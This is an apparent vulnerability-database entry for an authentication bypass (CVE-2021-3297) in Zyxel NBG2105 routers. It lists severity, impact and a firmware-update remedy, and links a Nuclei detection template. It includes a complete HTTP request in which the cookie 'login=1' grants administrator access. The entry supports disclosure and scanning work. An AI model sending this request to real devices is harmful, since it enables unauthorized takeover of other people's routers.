| Title | Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential compromise of the affected device. |
| Remediation | Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability. |
| CVSS Score | 7.8 |
| EPSS Score | 0.86299 |
| CVE ID | CVE-2021-3297 |
| CWE ID | CWE-287 |
| Tags | cve cve2021 zyxel auth-bypass router vkev vuln |
Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
GET /status.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: close
Cookie: language=en; login=1
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3297.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3297.pcap
N/AN/A